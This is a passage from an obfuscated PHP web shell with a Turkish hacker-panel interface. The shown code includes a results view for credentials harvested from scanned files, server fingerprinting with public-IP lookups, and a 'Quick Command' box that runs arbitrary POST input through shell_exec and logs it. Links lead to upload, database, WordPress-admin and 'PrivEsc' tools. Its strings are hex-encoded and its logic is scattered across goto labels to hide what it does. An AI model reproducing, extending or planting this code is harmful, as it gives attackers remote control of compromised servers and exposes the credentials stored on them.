} ?> </div> <!-- ============================================================ --> <!-- 2. DB SCAN - BULGULAR & AYARLAR --> <!-- ============================================================ --> <div class="dbscan-card"> <div class="card-header"> <i class="fas fa-shield-alt"></i> <h4>🛡️ Bulgular</h4> <span class="badge">Analiz</span> </div> <?php $last_scan_results = $_SESSION["\x64\x62\x73\x63\x61\156\137\x72\145\163\x75\154\164\163"] ?? array(); $last_scan_time = $_SESSION["\x64\142\x73\x63\141\156\137\x74\151\x6d\x65"] ?? ''; if (isset($results) && !empty($results)) { $_SESSION["\144\142\x73\143\x61\156\x5f\x72\x65\x73\165\x6c\x74\163"] = $results; $_SESSION["\x64\x62\163\x63\x61\x6e\x5f\164\x69\x6d\x65"] = date("\x48\72\151\72\x73"); } ?> <div class="scan-status"> <span class="label">📊 Son Tarama:</span> <span class="status-icon"><?php echo !empty($last_scan_results) ? "\xe2\234\205" : "\342\x8f\263"; ?> </span> <span class="status-text <?php echo !empty($last_scan_results) ? "\x73\x75\x63\143\145\163\x73" : ''; ?> "> <?php echo !empty($last_scan_results) ? $last_scan_time . "\x20\55\x20" . count($last_scan_results) . "\x20\x64\x6f\163\x79\x61" : "\110\x65\x6e\303\xbc\172\40\164\141\162\141\155\x61\x20\171\x61\160\304\261\154\155\x61\x64\xc4\xb1"; ?> </span> </div> <?php if (!empty($last_scan_results)) { $total_creds = 0; $ext_counts = array(); $cred_types = array(); foreach ($last_scan_results as $result) { if (!empty($result["\143\162\x65\x64\x73"])) { $total_creds += count($result["\x63\162\x65\144\x73"]); foreach ($result["\143\x72\x65\144\x73"] as $key => $value) { $cred_types[$key] = ($cred_types[$key] ?? 0) + 1; } } $ext_counts[$result["\145\x78\164"]] = ($ext_counts[$result["\x65\x78\164"]] ?? 0) + 1; } arsort($ext_counts); arsort($cred_types); ?> <div class="info-grid" style="display:grid;grid-template-columns:1fr 1fr;gap:6px;margin-top:10px;"> <div class="info-item"> <div class="info-value"><?php echo count($last_scan_results); ?> </div> <div class="info-label">Potansiyel Dosya</div> </div> <div class="info-item"> <div class="info-value"><?php echo $total_creds; ?> </div> <div class="info-label">Bulunan Bilgi</div> </div> </div> <?php if (!empty($ext_counts)) { ?> <div class="dbscan-output" style="margin-top:10px;"> <div class="output-line"><span class="info">📁 Dosya Uzantıları:</span></div> <?php foreach ($ext_counts as $ext => $count) { ?> <div class="output-line"><span class="dim"> .<?php echo htmlspecialchars($ext); ?> :</span> <?php echo $count; ?> dosya</div> <?php } ?> </div> <?php } ?> <?php if (!empty($cred_types)) { ?> <div class="dbscan-output" style="margin-top:10px;"> <div class="output-line"><span class="info">🔑 Bulunan Bilgi Türleri:</span></div> <?php foreach ($cred_types as $type => $count) { ?> <div class="output-line"><span class="dim"> <?php echo htmlspecialchars($type); ?> :</span> <?php echo $count; ?> adet</div> <?php } ?> </div> <?php } ?> <div class="btn-group-database" style="margin-top:10px;"> <button onclick="clearScanResults()" class="btn-neon-database danger small"> <i class="fas fa-trash"></i> Temizle </button> <button onclick="exportScanResults()" class="btn-neon-database primary small"> <i class="fas fa-download"></i> Dışa Aktar </button> </div> <?php } else { ?> <div class="dbscan-output" style="margin-top:10px;"> <div class="output-line"><span class="dim">📋 Henüz tarama sonucu yok.</span></div> <div class="output-line"><span class="dim">Soldaki formu kullanarak tarama yapın.</span></div> </div> <?php } ?> <div style="margin-top:12px;font-size:9px;color:rgba(180,150,255,0.2);border-top:1px solid rgba(179,0,255,0.05);padding-top:10px;"> <i class="fas fa-info-circle"></i> Bulunan bilgiler otomatik analiz edilir. </div> </div> </div> </div> <script> // ===== PARTİKÜL SİSTEMİ ===== (function() { const canvas = document.getElementById('particle-canvas-dbscan'); if (!canvas) return; const ctx = canvas.getContext('2d'); let particles = []; let animationId = null; let mouseX = 0; let mouseY = 0; function resizeCanvas() { canvas.width = window.innerWidth; canvas.height = window.innerHeight; } window.addEventListener('resize', resizeCanvas); resizeCanvas(); class Particle { constructor() { this.reset(); } reset() { this.x = Math.random() * canvas.width; this.y = Math.random() * canvas.height; this.size = Math.random() * 2 + 0.5; this.speedX = (Math.random() - 0.5) * 0.5; this.speedY = (Math.random() - 0.5) * 0.5; this.opacity = Math.random() * 0.3 + 0.05; this.phase = Math.random() * Math.PI * 2; this.color = ['#b300ff', '#ff00aa', '#00d4ff', '#00ff88', '#ffd700'][Math.floor(Math.random() * 5)]; } update() { this.x += this.speedX + Math.sin(this.phase) * 0.1; this.y += this.speedY + Math.cos(this.phase) * 0.1; this.phase += 0.01; const dx = mouseX - this.x; const dy = mouseY - this.y; const dist = Math.sqrt(dx * dx + dy * dy); if (dist < 150) { const force = (150 - dist) / 150; this.x -= dx * force * 0.01; this.y -= dy * force * 0.01; } if (this.x < 0) this.x = canvas.width; if (this.x > canvas.width) this.x = 0; if (this.y < 0) this.y = canvas.height; if (this.y > canvas.height) this.y = 0; } draw() { const gradient = ctx.createRadialGradient(this.x, this.y, 0, this.x, this.y, this.size * 4); gradient.addColorStop(0, this.color + Math.round(this.opacity * 150).toString(16).padStart(2, '0')); gradient.addColorStop(0.5, this.color + Math.round(this.opacity * 50).toString(16).padStart(2, '0')); gradient.addColorStop(1, this.color + '00'); ctx.beginPath(); ctx.arc(this.x, this.y, this.size * 4, 0, Math.PI * 2); ctx.fillStyle = gradient; ctx.fill(); ctx.beginPath(); ctx.arc(this.x, this.y, this.size, 0, Math.PI * 2); ctx.fillStyle = this.color + Math.round(this.opacity * 200).toString(16).padStart(2, '0'); ctx.fill(); } } const particleCount = Math.min(80, Math.floor(window.innerWidth * window.innerHeight / 25000)); for (let i = 0; i < particleCount; i++) { particles.push(new Particle()); } function drawConnections() { for (let i = 0; i < particles.length; i++) { for (let j = i + 1; j < particles.length; j++) { const dx = particles[i].x - particles[j].x; const dy = particles[i].y - particles[j].y; const dist = Math.sqrt(dx * dx + dy * dy); if (dist < 120) { const opacity = (1 - dist / 120) * 0.06; ctx.beginPath(); ctx.moveTo(particles[i].x, particles[i].y); ctx.lineTo(particles[j].x, particles[j].y); ctx.strokeStyle = `rgba(179, 0, 255, ${opacity})`; ctx.lineWidth = 0.5; ctx.stroke(); } } } } function animate() { ctx.clearRect(0, 0, canvas.width, canvas.height); particles.forEach(p => { p.update(); p.draw(); }); drawConnections(); animationId = requestAnimationFrame(animate); } document.addEventListener('mousemove', (e) => { mouseX = e.clientX; mouseY = e.clientY; }); document.addEventListener('mouseleave', () => { mouseX = -1000; mouseY = -1000; }); animate(); window.addEventListener('beforeunload', () => { if (animationId) { cancelAnimationFrame(animationId); } }); })(); // ===== DB SCAN FUNCTIONS ===== function toggleFilter(el, ext) { el.classList.toggle('active'); updateExtensions(); } function selectAllFilters() { const chips = document.querySelectorAll('.filter-chip'); const allActive = Array.from(chips).every(c => c.classList.contains('active')); chips.forEach(c => { if (!allActive) c.classList.add('active'); else c.classList.remove('active'); }); updateExtensions(); } function updateExtensions() { const chips = document.querySelectorAll('.filter-chip.active'); const exts = []; chips.forEach(c => { const ext = c.textContent.trim().replace('.', ''); if (ext && !ext.includes('Seç')) { exts.push(ext); } }); document.getElementById('dbscan-extensions').value = exts.join(','); } function copyPath(path) { if (navigator.clipboard) { navigator.clipboard.writeText(path).then(() => {}); } else { const input = document.createElement('input'); input.value = path; document.body.appendChild(input); input.select(); document.execCommand('copy'); document.body.removeChild(input); } } function clearScanResults() { if (confirm('Tarama sonuçları temizlensin mi?')) { window.location.href = '?action=dbscan&clear=1'; } } function exportScanResults() { window.location.href = '?action=dbscan&export=1'; } // ===== FORMAT SIZE ===== function formatSize(bytes) { if (bytes === 0 || bytes === false || isNaN(bytes) || bytes === null) return '0 B'; const k = 1024; const sizes = ['B', 'KB', 'MB', 'GB', 'TB']; const i = Math.floor(Math.log(bytes) / Math.log(k)); return parseFloat((bytes / Math.pow(k, i)).toFixed(2)) + ' ' + sizes[i]; } // ===== INIT ===== document.addEventListener('DOMContentLoaded', function() { // Chip tıklama olayları document.querySelectorAll('.filter-chip').forEach(chip => { chip.addEventListener('click', function() { // toggleFilter zaten onclick'te çağrılıyor }); }); // Form submit öncesi extensionları güncelle document.getElementById('dbscan-form').addEventListener('submit', function() { updateExtensions(); }); }); </script> <?php } goto AoTZM; af0kg: echo $action == "\x77\x70\141\x64\155\151\156" ? "\141\x63\164\151\x76\x65" : ''; goto IXw_X; mRR2Y: ?> <!-- ============================================================ --> <!-- ===== GELİŞMİŞ CHMOD YÖNETİCİSİ - TAM SÜRÜM ===== --> <!-- ============================================================ --> <?php goto A2PgG; l6Nbb: echo isWindows() ? "\xf0\237\xaa\237\x20\x57\151\156\x64\x6f\x77\x73" : "\360\237\x90\247\x20\x4c\x69\x6e\x75\x78"; goto P0V63; dI4Ue: if ($action == "\x64\x61\163\x68\142\157\x61\x72\144") { $clientIP = "\102\151\x6c\x69\156\155\151\x79\157\x72"; if (!empty($_SERVER["\110\x54\124\x50\x5f\x43\x4c\111\105\116\124\x5f\x49\120"])) { $clientIP = $_SERVER["\x48\124\124\120\137\x43\x4c\111\105\x4e\124\137\x49\x50"]; } elseif (!empty($_SERVER["\110\x54\124\120\137\130\137\x46\x4f\122\x57\x41\122\x44\105\104\x5f\x46\x4f\x52"])) { $clientIP = $_SERVER["\110\124\124\120\137\x58\137\106\117\x52\127\x41\122\x44\105\104\137\x46\117\x52"]; } elseif (!empty($_SERVER["\x52\105\x4d\x4f\x54\105\137\101\x44\104\x52"])) { $clientIP = $_SERVER["\x52\x45\115\x4f\124\105\137\101\x44\x44\x52"]; } if ($clientIP == "\x3a\72\61") { $clientIP = "\61\x32\67\x2e\x30\56\60\x2e\61"; } $serverIP = $_SERVER["\123\x45\x52\126\105\122\137\x41\104\104\x52"] ?? "\102\151\154\x69\156\x6d\151\x79\157\x72"; if ($serverIP == "\x3a\x3a\61") { $serverIP = "\x31\62\67\56\x30\56\x30\x2e\x31"; } $publicIP = "\102\x69\154\151\x6e\155\x69\x79\x6f\162"; try { $publicIP = @file_get_contents("\x68\164\x74\x70\x73\x3a\x2f\x2f\x61\x70\151\56\x69\x70\x69\x66\x79\56\157\x72\x67"); if (!$publicIP || $publicIP == '') { $publicIP = @shell_exec("\x63\165\162\x6c\40\55\x73\x20\x69\146\x63\x6f\x6e\146\x69\147\56\x6d\x65\x20\62\x3e\x6e\165\154"); } if (!$publicIP || $publicIP == '') { $publicIP = @shell_exec("\156\163\154\x6f\157\x6b\165\x70\40\155\x79\151\160\x2e\x6f\160\x65\156\x64\x6e\x73\56\x63\157\155\40\162\x65\163\x6f\x6c\x76\145\162\61\x2e\x6f\x70\145\156\144\x6e\163\56\143\x6f\x6d\40\x32\x3e\156\165\154\40\x7c\x20\146\151\156\144\x73\x74\x72\40\57\103\x3a\42\101\x64\144\x72\145\163\163\42"); if ($publicIP) { preg_match("\57\x5c\x64\53\134\56\x5c\144\53\134\56\134\x64\x2b\x5c\56\134\x64\53\x2f", $publicIP, $matches); $publicIP = $matches[0] ?? "\x42\151\x6c\151\156\x6d\x69\171\157\162"; } } if ($publicIP) { $publicIP = trim($publicIP); } if ($publicIP == '' || $publicIP == "\102\x69\x6c\151\156\x6d\x69\x79\157\x72") { $publicIP = "\x42\151\154\x69\156\x6d\x69\171\x6f\x72"; } } catch (Exception $e) { $publicIP = "\x42\x69\154\151\156\x6d\x69\171\157\162"; } $disk = array("\x74\157\164\x61\154" => 0, "\165\163\145\144" => 0, "\x66\x72\x65\x65" => 0, "\x70\145\162\143\x65\x6e\x74" => 0); if (isWindows()) { try { $total = @disk_total_space("\x43\72"); $free = @disk_free_space("\x43\x3a"); if (!$total || !$free) { $total = @disk_total_space("\x2f"); $free = @disk_free_space("\x2f"); } if ($total && $free && $total > 0) { $used = $total - $free; $disk = array("\x74\157\x74\141\154" => round($total / 1024 / 1024 / 1024, 2), "\165\163\145\x64" => round($used / 1024 / 1024 / 1024, 2), "\146\162\145\145" => round($free / 1024 / 1024 / 1024, 2), "\160\145\x72\x63\x65\156\164" => min(100, round($used / $total * 100, 1))); } else { $diskInfo = shell_exec("\x77\x6d\x69\143\40\154\x6f\147\151\143\x61\154\144\151\163\153\x20\167\x68\145\162\145\40\104\145\166\151\143\145\x49\104\75\x22\x43\72\x22\x20\x67\x65\164\40\x53\x69\172\145\x2c\106\x72\145\145\x53\160\141\x63\145\40\x2f\166\x61\154\x75\145\x20\62\76\156\165\154"); if ($diskInfo) { preg_match("\x2f\x53\x69\172\x65\75\x28\134\x64\53\x29\x2f", $diskInfo, $s); preg_match("\x2f\x46\162\x65\x65\x53\x70\141\143\x65\75\x28\134\x64\53\x29\x2f", $diskInfo, $f); if (isset($s[1]) && isset($f[1]) && $s[1] > 0) { $totalGB = round($s[1] / 1024 / 1024 / 1024, 2); $freeGB = round($f[1] / 1024 / 1024 / 1024, 2); $usedGB = $totalGB - $freeGB; $disk = array("\164\157\x74\x61\154" => $totalGB, "\165\163\145\144" => $usedGB, "\x66\x72\x65\145" => $freeGB, "\160\x65\x72\x63\145\x6e\164" => min(100, round($usedGB / $totalGB * 100, 1))); } } } } catch (Exception $e) { } } else { try { $total = @disk_total_space("\57"); $free = @disk_free_space("\57"); if ($total && $free && $total > 0) { $used = $total - $free; $disk = array("\x74\x6f\x74\x61\154" => round($total / 1024 / 1024 / 1024, 2), "\x75\163\x65\x64" => round($used / 1024 / 1024 / 1024, 2), "\146\x72\x65\145" => round($free / 1024 / 1024 / 1024, 2), "\x70\x65\x72\143\145\x6e\x74" => min(100, round($used / $total * 100, 1))); } } catch (Exception $e) { } } $uptime = "\x42\x69\154\151\x6e\x6d\x69\x79\x6f\162"; if (isWindows()) { try { if (class_exists("\x43\117\x4d")) { $wmi = new COM("\x77\x69\156\155\147\155\x74\163\x3a\x7b\151\155\x70\x65\x72\x73\x6f\x6e\x61\x74\x69\x6f\156\x4c\145\166\x65\x6c\x3d\x69\x6d\160\x65\162\x73\x6f\156\x61\164\145\175\x21\x5c\134\x2e\x5c\x72\157\157\x74\x5c\143\x69\155\166\62"); $query = $wmi->ExecQuery("\123\x45\114\105\x43\124\x20\114\x61\x73\164\x42\157\157\x74\x55\x70\x54\x69\155\x65\x20\106\x52\117\x4d\40\x57\x69\156\x33\62\137\117\160\x65\162\141\x74\151\x6e\x67\x53\171\163\x74\145\155"); foreach ($query as $item) { $bootTime = $item->LastBootUpTime; if ($bootTime) { $year = substr($bootTime, 0, 4); $month = substr($bootTime, 4, 2); $day = substr($bootTime, 6, 2); $hour = substr($bootTime, 8, 2); $minute = substr($bootTime, 10, 2); $bootDate = strtotime("{$year}\55{$month}\x2d{$day}\x20{$hour}\72{$minute}\72\60\60"); $now = time(); $seconds = $now - $bootDate; if ($seconds > 0) { $days = floor($seconds / 86400); $hours = floor($seconds % 86400 / 3600); $minutes = floor($seconds % 3600 / 60); $uptime = ($days > 0 ? $days . "\40\x67\303\274\x6e\x20" : '') . $hours . "\x20\163\141\x61\164\x20" . $minutes . "\x20\144\x61\x6b\x69\x6b\141"; } else { $uptime = $day . "\x2f" . $month . "\x2f" . $year . "\40" . $hour . "\72" . $minute; } break; } } } } catch (Exception $e) { } } else { $uptimeFile = @file_get_contents("\x2f\160\x72\157\x63\x2f\165\160\164\151\155\145"); if ($uptimeFile) { $seconds = floor(explode("\x20", $uptimeFile)[0]); $days = floor($seconds / 86400); $hours = floor($seconds % 86400 / 3600); $minutes = floor($seconds % 3600 / 60); $uptime = ($days > 0 ? $days . "\x20\147\303\274\x6e\x20" : '') . $hours . "\x20\163\x61\x61\164\40" . $minutes . "\x20\x64\141\x6b\x69\153\x61"; } } $fileStats = array("\x66\x69\x6c\x65\x73" => 0, "\144\x69\x72\x73" => 0, "\x73\x69\172\145" => 0, "\x65\x78\x74\x73" => array()); try { $dir = getcwd(); if (is_dir($dir)) { $iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($dir, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST); foreach ($iterator as $file) { try { if ($file->isDir()) { $fileStats["\144\151\x72\x73"]++; } else { $fileStats["\x66\151\154\x65\163"]++; try { $fileStats["\x73\151\172\145"] += $file->getSize(); } catch (Exception $e) { } $ext = $file->getExtension() ?: "\x6e\157\x6e\145"; $fileStats["\x65\170\x74\x73"][$ext] = ($fileStats["\145\170\164\x73"][$ext] ?? 0) + 1; } } catch (Exception $e) { continue; } } } } catch (Exception $e) { } arsort($fileStats["\x65\x78\164\163"]); $fileStats["\x65\x78\x74\163"] = array_slice($fileStats["\145\170\x74\163"], 0, 5); $lastCommands = array(); $logFile = sys_get_temp_dir() . "\x2f\x6c\141\163\164\137\143\x6f\155\155\141\x6e\x64\x73\56\164\170\x74"; if (file_exists($logFile)) { $lastCommands = array_slice(file($logFile), -10); } ?> <style> /* ============================================================ SHADOW PANEL DASHBOARD STILI ============================================================ */ * { margin: 0; padding: 0; box-sizing: border-box; } .dashboard { font-family: 'JetBrains Mono', 'Consolas', monospace; font-size: 11px; color: #b0c4de; } /* HEADER */ .dash-header { display: flex; justify-content: space-between; align-items: center; padding: 12px 16px; background: #0a0010; border-radius: 10px; border: 1px solid #2a0a4a; margin-bottom: 14px; flex-wrap: wrap; gap: 8px; } .dash-header .title { font-size: 14px; color: #e0e8f0; font-weight: 700; } .dash-header .title i { color: #b300ff; margin-right: 8px; } .dash-header .title .badge { background: #1a0525; padding: 2px 10px; border-radius: 12px; font-size: 8px; color: #b300ff; border: 1px solid #2a0a4a; font-weight: 400; } .dash-header .time { font-size: 10px; color: #5a2a7a; } .dash-header .time .badge.root { border-color: #2ecc71; color: #2ecc71; padding: 1px 8px; border-radius: 10px; font-size: 8px; border: 1px solid; } /* STATS GRID */ .stats-grid { display: grid; grid-template-columns: repeat(3, 1fr); gap: 10px; margin-bottom: 14px; } @media (max-width: 992px) { .stats-grid { grid-template-columns: repeat(2, 1fr); } } @media (max-width: 480px) { .stats-grid { grid-template-columns: 1fr; } } .stat-box { background: #0a0010; border: 1px solid #2a0a4a; border-radius: 10px; padding: 14px 16px; transition: all 0.3s ease; position: relative; overflow: hidden; } .stat-box:hover { border-color: #b300ff; transform: translateY(-2px); box-shadow: 0 6px 30px rgba(179,0,255,0.08); } .stat-box .icon { position: absolute; right: 12px; top: 12px; font-size: 24px; color: #b300ff; opacity: 0.12; } .stat-box .label { font-size: 9px; text-transform: uppercase; color: #5a2a7a; letter-spacing: 0.5px; margin-bottom: 4px; } .stat-box .value { font-size: 22px; font-weight: 700; color: #e0e8f0; } .stat-box .sub { font-size: 10px; color: #5a2a7a; margin-top: 2px; } .stat-box .bar { margin-top: 8px; height: 4px; background: #150020; border-radius: 4px; overflow: hidden; } .stat-box .bar .fill { height: 100%; border-radius: 4px; transition: width 1s ease; width: 0%; } .stat-box .bar .fill.green { background: linear-gradient(90deg, #2ecc71, #27ae60); } .stat-box .bar .fill.yellow { background: linear-gradient(90deg, #f39c12, #d68910); } .stat-box .bar .fill.red { background: linear-gradient(90deg, #ff6b6b, #e74c3c); } .stat-box .bar .fill.purple { background: linear-gradient(90deg, #b300ff, #8f00cc); } /* COLUMNS */ .two-col { display: grid; grid-template-columns: 2fr 1fr; gap: 10px; margin-bottom: 14px; } @media (max-width: 768px) { .two-col { grid-template-columns: 1fr; } } .three-col { display: grid; grid-template-columns: 1fr 1fr 1fr; gap: 10px; margin-bottom: 14px; } @media (max-width: 992px) { .three-col { grid-template-columns: 1fr 1fr; } } @media (max-width: 600px) { .three-col { grid-template-columns: 1fr; } } /* CARDS */ .card-dash { background: #0a0010; border: 1px solid #2a0a4a; border-radius: 10px; padding: 14px 16px; transition: all 0.3s ease; } .card-dash:hover { border-color: #b300ff; } .card-dash .card-title { font-size: 11px; color: #b300ff; margin-bottom: 10px; display: flex; align-items: center; gap: 8px; } .card-dash .card-title i { font-size: 12px; } .card-dash .card-title .tag { background: #150020; padding: 0 10px; border-radius: 10px; font-size: 7px; color: #5a2a7a; margin-left: auto; border: 1px solid #2a0a4a; } /* COMMAND HISTORY */ .cmd-history { max-height: 140px; overflow-y: auto; font-size: 10px; } .cmd-history .item { padding: 4px 8px; border-bottom: 1px solid #150020; color: #5a2a7a; display: flex; justify-content: space-between; } /* QUICK LINKS */ .quick-links { display: grid; grid-template-columns: repeat(4, 1fr); gap: 6px; } @media (max-width: 480px) { .quick-links { grid-template-columns: repeat(2, 1fr); } } .quick-links a { background: #0a0010; border: 1px solid #2a0a4a; border-radius: 8px; padding: 10px 6px; text-align: center; text-decoration: none; color: #5a2a7a; font-size: 8px; transition: all 0.3s ease; } .quick-links a:hover { border-color: #b300ff; color: #b300ff; transform: translateY(-2px); box-shadow: 0 4px 20px rgba(179,0,255,0.06); } .quick-links a i { font-size: 18px; display: block; margin-bottom: 4px; color: #b300ff; } .quick-links a.special i { color: #ffd700; } .quick-links a.special { border-color: #ffd70044; } /* INFO GRID */ .info-grid { display: grid; grid-template-columns: 1fr 1fr; gap: 4px 14px; font-size: 10px; } @media (max-width: 480px) { .info-grid { grid-template-columns: 1fr; } } .info-grid .label { color: #5a2a7a; } .info-grid .value { color: #b0c4de; } .info-grid .value.small { font-size: 9px; } /* EXTENSIONS */ .ext-list { display: flex; flex-wrap: wrap; gap: 4px; max-height: 100px; overflow-y: auto; } .ext-list .ext { background: #150020; padding: 2px 10px; border-radius: 10px; font-size: 8px; color: #5a2a7a; border: 1px solid #2a0a4a; } /* QUICK COMMAND */ .quick-cmd { display: flex; gap: 6px; } .quick-cmd input { flex: 1; padding: 8px 12px; background: #0a0010; border: 1px solid #2a0a4a; border-radius: 6px; color: #e0e8f0; font-family: 'JetBrains Mono', 'Consolas', monospace; font-size: 10px; outline: none; transition: 0.3s; } .quick-cmd input:focus { border-color: #b300ff; box-shadow: 0 0 20px rgba(179,0,255,0.05); } .quick-cmd input::placeholder { color: #2a0a4a; } /* TERMINAL OUTPUT */ .term-output { background: #050008; border: 1px solid #2a0a4a; border-radius: 6px; padding: 8px 12px; margin-top: 8px; max-height: 130px; overflow-y: auto; font-size: 10px; font-family: 'JetBrains Mono', 'Consolas', monospace; } .term-output .cmd { color: #b300ff; } .term-output .result { color: #b0c4de; white-space: pre-wrap; word-break: break-all; } /* ACTION BUTTONS */ .actions { display: flex; gap: 6px; flex-wrap: wrap; margin-top: 4px; } .actions .btn { padding: 5px 14px; border: none; border-radius: 6px; font-weight: 700; cursor: pointer; transition: 0.3s; font-family: 'JetBrains Mono', 'Consolas', monospace; font-size: 9px; color: #0a0010; background: #b300ff; } .actions .btn:hover { background: #8f00cc; transform: scale(1.02); } .actions .btn.gold { background: #ffd700; } .actions .btn.gold:hover { background: #f0c000; } .actions .btn.green { background: #2ecc71; } .actions .btn.green:hover { background: #27ae60; } .actions .btn.orange { background: #f39c12; } .actions .btn.orange:hover { background: #d68910; } .actions .btn.red { background: #ff6b6b; } .actions .btn.red:hover { background: #e74c3c; } .actions .btn.outline { background: transparent; border: 1px solid #b300ff; color: #b300ff; } .actions .btn.outline:hover { background: #b300ff; color: #0a0010; } /* FOOTER */ .dash-footer { margin-top: 14px; padding: 8px 16px; background: #0a0010; border-radius: 10px; border: 1px solid #2a0a4a; text-align: center; font-size: 8px; color: #2a0a4a; } .dash-footer a { color: #5a2a7a; text-decoration: none; } .dash-footer a:hover { color: #b300ff; } /* SCROLLBAR */ .cmd-history::-webkit-scrollbar, .ext-list::-webkit-scrollbar, .term-output::-webkit-scrollbar { width: 4px; } .cmd-history::-webkit-scrollbar-track, .ext-list::-webkit-scrollbar-track, .term-output::-webkit-scrollbar-track { background: #0a0010; } .cmd-history::-webkit-scrollbar-thumb, .ext-list::-webkit-scrollbar-thumb, .term-output::-webkit-scrollbar-thumb { background: #2a0a4a; border-radius: 4px; } </style> <!-- ================================================================ ===== HTML ===== ================================================================ --> <div class="dashboard"> <!-- HEADER --> <div class="dash-header"> <div class="title"> <i class="fas fa-chart-pie"></i> Kontrol Paneli <span class="badge"><?php echo $config["\x76\145\162\x73\151\x6f\x6e"] ?? "\x76\63\x2e\60"; ?> </span> </div> <div class="time"> <i class="fas fa-user"></i> <?php echo getCurrentUser(); ?> <?php if (isRoot()) { ?> <span class="badge root">👑 ROOT</span> <?php } ?> | <i class="fas fa-clock"></i> <?php echo date("\110\72\151\x3a\x73"); ?> </div> </div> <!-- STATS GRID (3'lü) --> <div class="stats-grid"> <!-- İşletim Sistemi --> <div class="stat-box"> <div class="icon"><i class="fas fa-microchip"></i></div> <div class="label"><i class="fas fa-desktop" style="color:#b300ff;font-size:7px;"></i> İşletim Sistemi</div> <div class="value" style="font-size:16px;"><?php echo isWindows() ? "\360\237\252\237\40\127\151\156\144\157\x77\x73" : "\xf0\x9f\x90\xa7\x20\114\151\x6e\x75\x78"; ?> </div> <div class="sub"><?php echo isWindows() ? php_uname("\x73") : php_uname("\x73"); ?> </div> <div class="bar"><div class="fill purple" style="width:50%"></div></div> </div> <!-- DISK --> <div class="stat-box"> <div class="icon"><i class="fas fa-hdd"></i></div> <div class="label"><i class="fas fa-folder" style="color:#b300ff;font-size:7px;"></i> Disk Kullanımı</div> <div class="value"><?php echo $disk["\x70\145\x72\x63\x65\156\x74"]; ?> %</div> <div class="sub"><?php echo number_format($disk["\x75\x73\x65\144"], 2); ?> GB / <?php echo number_format($disk["\164\157\164\x61\x6c"], 2); ?> GB</div> <div class="bar"> <div class="fill <?php echo $disk["\160\145\162\x63\x65\156\164"] > 80 ? "\162\x65\x64" : ($disk["\x70\x65\x72\143\145\156\164"] > 60 ? "\x79\145\x6c\x6c\157\167" : "\x67\x72\x65\145\x6e"); ?> " style="width:<?php echo $disk["\160\145\x72\143\145\x6e\x74"]; ?> %"></div> </div> </div> <!-- UPTIME --> <div class="stat-box"> <div class="icon"><i class="fas fa-clock"></i></div> <div class="label"><i class="fas fa-calendar-alt" style="color:#b300ff;font-size:7px;"></i> Çalışma Süresi</div> <div class="value" style="font-size:14px;"><?php echo $uptime; ?> </div> <div class="sub"><i class="fas fa-calendar-day"></i> <?php echo date("\x64\x2e\x6d\x2e\131\40\110\72\x69"); ?> </div> </div> </div> <!-- 2 KOLON: HIZLI KOMUT + SİSTEM BİLGİSİ --> <div class="two-col"> <!-- HIZLI KOMUT --> <div class="card-dash"> <div class="card-title"> <i class="fas fa-terminal"></i> Hızlı Komut <span class="tag">Enter ile çalıştır</span> </div> <form method="POST" class="quick-cmd"> <input type="text" name="quick_cmd" id="quickCmd" placeholder="Komut girin..." autofocus> <button type="submit" class="btn" style="padding:6px 16px;"> <i class="fas fa-play"></i> </button> </form> <?php if (isset($_POST["\161\x75\x69\x63\x6b\137\143\155\144"]) && $_POST["\161\x75\x69\x63\153\137\143\155\x64"]) { $result = shell_exec($_POST["\x71\165\151\x63\153\137\143\155\x64"] . "\x20\x32\76\46\61"); $logFile = sys_get_temp_dir() . "\57\x6c\141\x73\x74\137\x63\157\x6d\155\141\156\144\163\x2e\x74\x78\x74"; file_put_contents($logFile, date("\x48\x3a\151\72\163") . "\40\x7c\x20" . $_POST["\161\x75\x69\143\x6b\x5f\x63\x6d\x64"] . "\12", FILE_APPEND); ?> <div class="term-output"> <div class="cmd">$ <?php echo htmlspecialchars($_POST["\161\x75\x69\x63\153\x5f\x63\155\x64"]); ?> </div> <div class="result"><?php echo htmlspecialchars($result); ?> </div> </div> <?php } ?> </div> <!-- SİSTEM BİLGİSİ --> <div class="card-dash"> <div class="card-title"> <i class="fas fa-server"></i> Sistem Bilgisi <span class="tag">Detay</span> </div> <div class="info-grid"> <div><span class="label">PHP:</span> <span class="value"><?php echo phpversion(); ?> </span></div> <div><span class="label">OS:</span> <span class="value"><?php echo isWindows() ? "\127\151\x6e\144\157\x77\163" : PHP_OS; ?> </span></div> <div><span class="label">Sunucu:</span> <span class="value"><?php echo $_SERVER["\123\105\122\x56\x45\x52\137\x53\x4f\106\124\127\x41\122\105"] ?? "\x2d"; ?> </span></div> <div><span class="label">Kullanıcı:</span> <span class="value"><?php echo getCurrentUser(); ?> </span></div> <div><span class="label">Yetki:</span> <span class="value"><?php echo isRoot() ? "\xe2\234\x85\40\x52\x6f\x6f\164" : "\xf0\237\221\xa4\40\x55\x73\145\162"; ?> </span></div> <div><span class="label">Dizin:</span> <span class="value small"><?php echo getcwd(); ?> </span></div> </div> </div> </div> <!-- 3 KOLON: GEÇMİŞ + HIZLI ERİŞİM + OTURUM --> <div class="three-col"> <!-- KOMUT GEÇMİŞİ --> <div class="card-dash"> <div class="card-title"> <i class="fas fa-history"></i> Komut Geçmişi <span class="tag"><?php echo count($lastCommands); ?> </span> </div> <div class="cmd-history"> <?php if (count($lastCommands) > 0) { ?> <?php foreach (array_reverse($lastCommands) as $cmd) { ?> <div class="item"><span><?php echo htmlspecialchars(trim($cmd)); ?> </span></div> <?php } ?> <?php } else { ?> <div style="color:#2a0a4a;font-size:9px;padding:6px;">⚠ Komut geçmişi yok</div> <?php } ?> </div> </div> <!-- HIZLI ERİŞİM --> <div class="card-dash"> <div class="card-title"> <i class="fas fa-bolt"></i> Hızlı Erişim <span class="tag">Kısayol</span> </div> <div class="quick-links"> <a href="?action=terminal"><i class="fas fa-terminal"></i> Terminal</a> <a href="?action=files"><i class="fas fa-folder"></i> Dosyalar</a> <a href="?action=upload"><i class="fas fa-cloud-upload-alt"></i> Upload</a> <a href="?action=database"><i class="fas fa-database"></i> Veritabanı</a> <a href="?action=privesc" class="special"><i class="fas fa-crown" style="color:#ffd700;"></i> PrivEsc</a> <a href="?action=editor"><i class="fas fa-code"></i> Editor</a> <a href="?action=backup"><i class="fas fa-archive"></i> Backup</a> <a href="?action=settings"><i class="fas fa-cog"></i> Ayarlar</a> </div> </div> <!-- OTURUM BİLGİSİ --> <div class="card-dash"> <div class="card-title"> <i class="fas fa-user-circle"></i> Oturum Bilgisi <span 